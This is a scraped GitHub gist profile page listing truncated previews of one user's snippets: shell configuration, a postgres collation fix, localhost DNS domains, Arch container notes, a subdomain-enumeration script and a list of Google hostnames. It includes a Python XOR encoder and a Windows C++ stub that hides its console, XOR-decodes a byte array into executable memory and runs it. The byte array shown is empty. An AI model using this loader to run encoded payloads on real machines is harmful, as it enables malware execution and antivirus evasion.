Skip to content

Instantly share code, notes, and snippets.

View Edu4rdSHL's full-sized avatar
🤖
Nictophile. In love with programming.

Eduard Tolosa Edu4rdSHL

🤖
Nictophile. In love with programming.
View GitHub Profile
@Edu4rdSHL
Edu4rdSHL / bashrc for Fish.md
Last active May 4, 2025 16:56
The whole .bashrc that you need if you want to use bash as your login shell (which I highly recommend) but then use fish for anything else
#
# ~/.bashrc
#
# If not running interactively, don't do anything
[[ $- != *i* ]] && return

[[ "$SHELL" != */fish ]] && [ -x /usr/bin/fish ] && \
  SHELL=/usr/bin/fish exec fish
@Edu4rdSHL
Edu4rdSHL / private_fork.md
Created May 20, 2024 08:00 — forked from 0xjac/private_fork.md
Create a private fork of a public repository

The repository for the assignment is public and Github does not allow the creation of private forks for public repositories.

The correct way of creating a private frok by duplicating the repo is documented here.

For this assignment the commands are:

  1. Create a bare clone of the repository. (This is temporary and will be removed so just do it wherever.)

git clone --bare git@github.com:usi-systems/easytrace.git

@Edu4rdSHL
Edu4rdSHL / fix-postgres-collation.sh
Created February 5, 2024 06:21
Fix postgres collation version mismatch
#!/bin/bash
# PostgreSQL connection parameters
PG_USER="postgres"
PG_HOST="localhost"
PG_PORT="5432"
# Get a list of databases
databases=$(psql -U $PG_USER -h $PG_HOST -p $PG_PORT -q -t -c "SELECT datname FROM pg_database")
@Edu4rdSHL
Edu4rdSHL / DNS_TO_LOCALHOST.markdown
Created August 18, 2022 20:05 — forked from tinogomes/DNS_TO_LOCALHOST.markdown
Public DNS Pointing to localhost (127.0.0.1)

Available Public Wildcard DNS Domains pointing to localhost (127.0.0.1)

It turns out that some kind hearted people already set up wildcard domains for you already. You can use any domain below and/or any subdomain of these and they currently resolve to 127.0.0.1 but could switch at any time to resolve somewhere else. Here's the list of ones I know about. Let me know if there are more!

  • localhost - It will always works. Do you know why? I hope so.
  • [*.]fbi.com - 👏 👏 👏 👏 👏
  • [*.]localtest.me
  • [*.]127-0-0-1.org.uk
  • [*.]vcap.me
  • [*.]yoogle.com

Keybase proof

I hereby claim:

  • I am edu4rdshl on github.
  • I am edu4rdshl (https://keybase.io/edu4rdshl) on keybase.
  • I have a public key ASDaGNIYENg2zvhVL4b00fxz-aKxAMVtAzbzi5yb3M9u9Qo

To claim this, I am signing this object:

#!/usr/bin/env python2
import sys
KEY = 'x'
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
char b[] = { };
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
This file has been truncated, but you can view the full file.
rate-limited-proxy-209-85-238-203.google.com
quagmire.corp.google.com
mail-ed1-f116.google.com
pub-8613501904892077.afd.ghs.google.com
corpnat-104-132-246-81.corp.google.com
corpnat-104-133-102-87.corp.google.com
moon.google.com
googleproxy-66-249-83-111.google.com
rate-limited-proxy-72-14-199-162.google.com
mail-vk1-f209.google.com

Pre-requisitos:

arch-install-scripts, deboostrap

Instalación ArchLinux: mkdir ArchLinux && pacstrap -c ArchLinux base linux-api-headers

Una vez iniciada sesion con systemd-nspawn -D ArchLinux (debe usar la opción -D solamente), debemos borrar los archivos /etc/securetty y /usr/share/factory/etc/securetty dentro del contenedor solamente, además de añadirlos al archivo /etc/pacman.conf del mismo, en la opción NoExtract. La línea sería la siguiente:

NoExtract = /etc/securetty /usr/share/factory/etc/securetty

@Edu4rdSHL
Edu4rdSHL / findomain_integration.sh
Last active April 5, 2023 05:43
Simple script to collect the info from the top enumeration tools, unify all the results in a same file, import the data to Findomain and include it in the monitoring process while saving to database.
#!/usr/bin/env bash
# Simple script to collect the info from the top enumeration tools, unify all the results in a same file, import the data to Findomain and include it in the monitoring process while saving to database.
# Usage:
# ./findomain_integration.sh domains_file findomain_config_file - see https://www.github.com/Edu4rdSHL/findomain/tree/master/config_examples
domains_file="$1"
config_file="$2"
total_file="all_external_subdomains.txt"
external_sources() {
local amass_file="amass_output.txt"